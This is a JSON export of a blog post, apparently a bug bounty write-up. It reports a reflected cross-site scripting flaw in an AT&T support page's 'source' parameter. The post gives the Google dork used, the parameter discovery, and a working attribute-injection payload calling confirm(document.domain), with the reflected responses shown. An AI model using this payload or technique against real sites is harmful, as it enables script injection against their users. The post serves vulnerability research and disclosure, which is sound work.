{"id":95,"date":"2020-07-17T10:34:00","date_gmt":"2020-07-17T03:34:00","guid":{"rendered":"https:\/\/n45ht.or.id\/blog\/?p=95"},"modified":"2025-10-14T22:57:11","modified_gmt":"2025-10-14T15:57:11","slug":"reflected-xss-on-att","status":"publish","type":"post","link":"https:\/\/n45ht.or.id\/blog\/reflected-xss-on-att\/","title":{"rendered":"Reflected XSS on AT&amp;T"},"content":{"rendered":"\n<p>While performing a Google Dork search for potential vulnerabilities, I used the following query to target AT&amp;T&#8217;s website:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>site:att.com ext:jsp<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"762\" height=\"315\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu1.png\" alt=\"\" class=\"wp-image-96\" style=\"width:546px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu1.png 762w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu1-300x124.png 300w\" sizes=\"auto, (max-width: 762px) 100vw, 762px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">Discovery of the Vulnerable Page<\/h4>\n\n\n\n<p>Using this search, I found the following URL:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.att.com\/esupport\/serviceInterstitial.jsp<\/code><\/pre>\n\n\n\n<p>I then used <strong>Arjun<\/strong> to identify any unique parameters on the page.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"987\" height=\"521\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu2.png\" alt=\"\" class=\"wp-image-97\" style=\"width:574px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu2.png 987w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu2-300x158.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu2-768x405.png 768w\" sizes=\"auto, (max-width: 987px) 100vw, 987px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">Unusual Parameter Behavior<\/h4>\n\n\n\n<p>Upon examining the parameters, I noticed something interesting. One parameter&#8217;s value was not wrapped in double quotes (<code>\"<\/code>) but was encoded as <code>&amp;quot;<\/code>. Here&#8217;s the request and response:<\/p>\n\n\n\n<p><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.att.com\/esupport\/serviceInterstitial.jsp?source=test<\/code><\/pre>\n\n\n\n<p><strong>Response:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" data-encoded=\"true\" style=\"color:#d8dee9ff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>%253Cmeta%2520name%253D%2526quot%253BWT.mc_id%2526quot%253B%2520content%253D%2526quot%253Btest%2526quot%253B%253E<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #81A1C1\">&lt;meta<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">name<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #A3BE8C\">&amp;quot;WT.mc_id&amp;quot;<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">content<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #A3BE8C\">&amp;quot;test&amp;quot;<\/span><span style=\"color: #81A1C1\">&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"761\" height=\"301\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu3.png\" alt=\"\" class=\"wp-image-99\" style=\"width:526px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu3.png 761w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu3-300x119.png 300w\" sizes=\"auto, (max-width: 761px) 100vw, 761px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">Testing HTML Injection<\/h4>\n\n\n\n<p>I decided to test the input for potential injection vulnerabilities. First, I added a space to the parameter to see if the page allowed arbitrary attributes.<\/p>\n\n\n\n<p><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.att.com\/esupport\/serviceInterstitial.jsp?source=test id=x<\/code><\/pre>\n\n\n\n<p><strong>Response:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" data-encoded=\"true\" style=\"color:#d8dee9ff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>%253Cmeta%2520name%253D%2526quot%253BWT.mc_id%2526quot%253B%2520content%253D%2526quot%253Btest%2520id%253Dx%2526quot%253B%253E<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #81A1C1\">&lt;meta<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">name<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #A3BE8C\">&amp;quot;WT.mc_id&amp;quot;<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">content<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #A3BE8C\">&amp;quot;test<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">id<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #A3BE8C\">x&amp;quot;<\/span><span style=\"color: #81A1C1\">&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">Testing for XSS Payload<\/h4>\n\n\n\n<p>Next, I tested an <strong>XSS<\/strong> payload by injecting JavaScript code through the parameter. Here&#8217;s the request I used:<\/p>\n\n\n\n<p><strong>Request:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"HTML\" class=\"language-HTML\">https:\/\/www.att.com\/esupport\/serviceInterstitial.jsp?source=x%20onclick=confirm(document.domain)%20accesskey=x%20<\/code><\/pre>\n\n\n\n<p><strong>Response:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#2e3440ff\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" data-encoded=\"true\" style=\"color:#d8dee9ff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>%253Cmeta%2520name%253D%2526quot%253BWT.mc_id%2526quot%253B%2520content%253D%2526quot%253Bx%2520onclick%253Dconfirm(document.domain)%2520accesskey%253Dx%2520%2526quot%253B%253E<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki nord\" style=\"background-color: #2e3440ff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #81A1C1\">&lt;meta<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">name<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #A3BE8C\">&amp;quot;WT.mc_id&amp;quot;<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">content<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #A3BE8C\">&amp;quot;x<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">onclick<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #88C0D0\">confirm<\/span><span style=\"color: #A3BE8C\">(<\/span><span style=\"color: #D8DEE9\">document<\/span><span style=\"color: #ECEFF4\">.<\/span><span style=\"color: #D8DEE9\">domain<\/span><span style=\"color: #A3BE8C\">)<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">accesskey<\/span><span style=\"color: #ECEFF4\">=<\/span><span style=\"color: #A3BE8C\">x<\/span><span style=\"color: #D8DEE9FF\"> <\/span><span style=\"color: #8FBCBB\">&amp;quot;<\/span><span style=\"color: #81A1C1\">&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>As a result, the XSS payload executed successfully, triggering the JavaScript alert.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"923\" height=\"393\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu4.png\" alt=\"\" class=\"wp-image-98\" style=\"width:488px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu4.png 923w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu4-300x128.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu4-768x327.png 768w\" sizes=\"auto, (max-width: 923px) 100vw, 923px\" \/><\/figure>\n\n\n\n<p>After injecting the payload, I was able to execute arbitrary JavaScript code, confirming a <strong>reflected XSS<\/strong> vulnerability.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"365\" src=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu5-1024x365.png\" alt=\"\" class=\"wp-image-100\" style=\"width:479px;height:auto\" srcset=\"https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu5-1024x365.png 1024w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu5-300x107.png 300w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu5-768x274.png 768w, https:\/\/n45ht.or.id\/blog\/wp-content\/uploads\/2024\/12\/attwu5.png 1163w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>While performing a Google Dork search for potential vulnerabilities, I used the following query to target AT&amp;T&#8217;s website: Discovery of the Vulnerable Page Using this search, I found the following URL: I then used Arjun to identify any unique parameters on the page. Unusual Parameter Behavior Upon examining the parameters, I noticed something interesting. One [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":325,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[23,9,8],"class_list":["post-95","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-research","tag-bug-bounty","tag-cross-site-scripting","tag-xss"],"_links":{"self":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts\/95","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/comments?post=95"}],"version-history":[{"count":6,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts\/95\/revisions"}],"predecessor-version":[{"id":326,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts\/95\/revisions\/326"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/media\/325"}],"wp:attachment":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/media?parent=95"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/categories?post=95"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/tags?post=95"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}